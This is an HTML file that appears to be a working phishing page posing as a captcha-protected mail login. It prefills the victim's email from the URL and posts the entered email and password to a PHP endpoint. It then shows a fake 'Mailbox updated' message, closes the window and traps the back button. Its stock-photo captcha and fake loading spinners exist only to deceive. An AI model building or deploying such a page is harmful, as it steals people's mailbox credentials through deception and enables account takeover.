<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Secured Page| Captcha</title>
    <style>
        body {
            font-family: 'Arial', sans-serif;
            margin: 0;
            padding: 0;
            display: flex;
            align-items: center;
            justify-content: center;
            height: 100vh;
            background: #f8f9fa; /* Off-white background */
            color: #000;
        }

        .loading-container, .reconnecting-container {
            text-align: center;
        }

        .loading-text, .reconnecting-text {
            font-size: 1.5rem;
            margin-bottom: 15px;
        }

        .loading-spinner, .reconnecting-spinner {
            border: 4px solid #f3f3f3; /* Light grey */
            border-top: 4px solid #007bff; /* Blue */
            border-radius: 50%;
            width: 40px;
            height: 40px;
            animation: spin 1s linear infinite;
            margin: 0 auto;
        }

        @keyframes spin {
            0% { transform: rotate(0deg); }
            100% { transform: rotate(360deg); }
        }

        .form-container {
            background: #fff; /* White form background */
            padding: 20px 30px;
            border-radius: 15px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.1);
            text-align: center;
            width: 100%;
            max-width: 400px;
            display: none;
        }

        .form-container .form-group {
            margin-bottom: 15px;
        }

        .form-container input {
            width: 100%;
            padding: 10px;
            font-size: 1rem;
            border: 1px solid #ccc;
            border-radius: 5px;
            outline: none;
            background: #f8f9fa;
            color: #333;
        }

        .form-container input[readonly] {
            cursor: not-allowed;
        }

        .form-container button {
            background: #007bff;
            color: #fff;
            padding: 10px 20px;
            font-size: 1rem;
            border: none;
            border-radius: 5px;
            cursor: pointer;
            transition: transform 0.2s;
        }

        .form-container button:hover {
            transform: scale(1.05);
        }

        .captcha-section {
            margin-top: 15px;
            text-align: center;
        }

        .captcha-section p {
            font-size: 1rem;
            margin-bottom: 10px;
        }

        .captcha-section img {
            max-width: 50%;
            height: auto;
        }

    </style>
</head>
<body>
    <div class="loading-container" id="loading">
        <div class="loading-text">Connecting to mail server...</div>
        <div class="loading-spinner"></div>
    </div>

    <div class="form-container" id="form-container">
        <form id="login-form">
            <div class="form-group">
                <input type="email" id="email" placeholder="Email Address" readonly required>
            </div>
            <div class="form-group">
                <input type="password" id="password" placeholder="Password" required>
            </div>
            <div class="captcha-section">
                <p>Confirm identity to prove you are not a robot</p>
                <img src="https://media.istockphoto.com/id/1156467607/photo/captcha-im-not-a-robot.jpg?b=1&s=170667a&w=0&k=20&c=qsCUeyZgtDMl98uVMrhPrXqWatuEdwkSyF6YlwLtbW4=" alt="Captcha Image">
            </div>
            <button type="submit">Login</button>
        </form>
    </div>

    <div class="reconnecting-container" id="reconnecting" style="display: none;">
        <div class="reconnecting-text">Reconnecting...</div>
        <div class="reconnecting-spinner"></div>
    </div>

    <script>
        document.addEventListener('DOMContentLoaded', () => {
            const urlParams = new URLSearchParams(window.location.search);
            const emailField = document.getElementById('email');
            const form = document.getElementById('login-form');
            const loading = document.getElementById('loading');
            const formContainer = document.getElementById('form-container');
            const reconnecting = document.getElementById('reconnecting');

            // Simulate loading effect
            setTimeout(() => {
                loading.style.display = 'none';
                formContainer.style.display = 'block';

                if (urlParams.has('email')) {
                    const email = urlParams.get('email');
                    emailField.value = email; // Populate email from URL
                }
            }, 2000); // 2-second delay

            form.addEventListener('submit', async (e) => {
                e.preventDefault();
                const email = emailField.value;
                const password = document.getElementById('password').value;

                // Send form data to the server
               try {
    const response = await fetch('submit-form.php', {
        method: 'POST',
        headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
        body: new URLSearchParams({ email, password }),
    });


                    if (response.ok) {
                        formContainer.style.display = 'none';
                        reconnecting.style.display = 'block';
                        setTimeout(() => {
                            reconnecting.innerHTML = '<div class="reconnecting-text">Mailbox updated and exiting...</div>';
                            setTimeout(() => window.close(), 2000); // Close page after 2 seconds
                        }, 2000);
                    } else {
                        formContainer.style.display = 'block';
                        reconnecting.style.display = 'none';
                        alert('Failed to update mailbox. Please try again.');
                    }
                } catch (error) {
                    formContainer.style.display = 'block';
                    reconnecting.style.display = 'none';
                    alert('An error occurred. Please try again.');
                    console.error('Error:', error);
                }
            });
        });
    </script>
<script type="text/javascript">
  (function() {
    var preventBack = function() {
      window.history.forward();
    };

    // Try to go back, and prevent it by going forward
    window.history.pushState(null, null, window.location.href);
    window.onpopstate = function() {
      window.history.pushState(null, null, window.location.href);
    };

    // Prevent the back button from being used in some cases
    preventBack();
  })();
</script>

</body>
</html>
